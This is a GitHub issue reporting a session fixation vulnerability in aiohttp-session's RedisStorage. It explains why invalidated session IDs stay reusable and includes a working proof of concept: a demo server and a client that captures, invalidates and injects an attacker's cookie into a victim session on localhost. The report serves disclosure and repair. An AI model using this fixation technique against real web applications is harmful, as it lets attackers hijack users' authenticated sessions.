Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Session Fixation vulnerability in RedisStorage #272

Closed
panagiks opened this issue Apr 30, 2018 · 2 comments
Closed

Session Fixation vulnerability in RedisStorage #272

panagiks opened this issue Apr 30, 2018 · 2 comments

Comments

@panagiks
Copy link
Contributor

There is a window of opportunity for Session Fixation exploitation in the logic of RedisStorage.

As seen here: https://github.com/aio-libs/aiohttp-session/blob/master/aiohttp_session/__init__.py#L190

Get session data returns an empty dictionary for an empty (this includes invalidated) session.

Referring here: https://github.com/aio-libs/aiohttp-session/blob/master/aiohttp_session/redis_storage.py#L60

save_session takes this data and saves it in Redis.

As a result, an invalidated session will result to the session ID being present in Redis with an empty mapping as its value.

Now looking over at: https://github.com/aio-libs/aiohttp-session/blob/master/aiohttp_session/redis_storage.py#L50

RedisStorage's load_session only looks at the case where data (returned by reading from Redis) is None. This will happen only if the key (session ID) is not present in Redis (has either expired or was never inserted) but as we established above the key is never actually removed, just the value mapping emptied. As a result the load_session function will return a session with the presented session ID and not a new one, although there was no valid session in storage for this ID.

If this is not caught and mitigated by the web app the following scenario can unfold:

  • Attacker acquires a valid cookie
  • Invalidates it (logs out)
  • Attacker injects said cookie in victim's browser (see OWASP's link above for examples on how)
  • Victim visits web app presenting the cookie present in his browser
  • Web app uses the get_session to get a session object for the user, expecting a 'clean' session
  • get_session returns a session with the session ID that was present in the cookie presented by the user
  • session is populated by the web app and subsequently stored by aiohttp-session during the response
  • User is now logged in with the session ID of the cookie that was injected by the attacker
  • The attacker now controls (knows) a session cookie for a given user
@panagiks
Copy link
Contributor Author

Preparing some PoC code to demonstrate the above.

@panagiks
Copy link
Contributor Author

panagiks commented Apr 30, 2018

Edit

Changed the client to use non-strict CookieJar (so cookies are kept from non-domain hosts) and adjusted the output. Point still stands.

PoC

Ok so based off of the RedisStorage example, the server looks like this:

import asyncio
import aioredis
import time

from aiohttp import web
from aiohttp_session import setup, get_session
from aiohttp_session.redis_storage import RedisStorage


async def login(request):
    session = await get_session(request)
    last_visit = session['last_visit'] if 'last_visit' in session else None
    session['last_visit'] = time.time()
    text = 'Last visited: {}'.format(last_visit)
    return web.Response(text=text)

async def logout(request):
    session = await get_session(request)
    session.invalidate()
    return web.Response(status=204)

async def make_redis_pool():
    redis_address = ('127.0.0.1', '6379')
    return await aioredis.create_redis_pool(redis_address, timeout=1)


def make_app():
    loop = asyncio.get_event_loop()
    redis_pool = loop.run_until_complete(make_redis_pool())
    storage = RedisStorage(redis_pool, cookie_name='FIXATED')

    async def dispose_redis_pool(app):
        redis_pool.close()
        await redis_pool.wait_closed()

    app = web.Application()
    setup(app, storage)
    app.on_cleanup.append(dispose_redis_pool)
    app.router.add_get('/auth', login)
    app.router.add_delete('/auth', logout)
    return app


web.run_app(make_app(), port=8889)

Accordingly, the client:

import aiohttp
import asyncio

async def fixation_poc():
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(cookie_jar=jar) as session:
        # Attacker logs in
        resp = await session.get('http://127.0.0.1:8889/auth')
        # print(resp.status)
        # print('First Login, Cookie: ', resp.cookies)
        print('First Login, Cookie: ', resp.cookies['FIXATED'])
        # Attacker saves cookie
        evil_cookie = resp.cookies['FIXATED']
        # Attacker logs out
        resp = await session.delete('http://127.0.0.1:8889/auth')
        print('After Logout, Cookie: ', resp.cookies['FIXATED'])

    # Seperate session. This is the victim. In the creation of ClientSession the evil_cookie is injected
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(cookies={'FIXATED': evil_cookie.value}, cookie_jar=jar) as session:
        # Victim logs in
        resp = await session.get('http://127.0.0.1:8889/auth')
        print('Victim Login, Cookie: ', resp.cookies['FIXATED'])

asyncio.get_event_loop().run_until_complete(fixation_poc())

Running the two results in the following output (client side):

First Login, Cookie:  Set-Cookie: FIXATED=966089e693764c148d70986c6000d4e9; Domain=127.0.0.1; HttpOnly; Path=/
After Logout, Cookie:  Set-Cookie: FIXATED=""; Domain=127.0.0.1; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/
Victim Login, Cookie:  Set-Cookie: FIXATED=966089e693764c148d70986c6000d4e9; Domain=127.0.0.1; HttpOnly; Path=/

As you can see the victim was assigned the session ID that the attacker injected as a cookie, effectively having access to the victim's session (through the original cookie)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant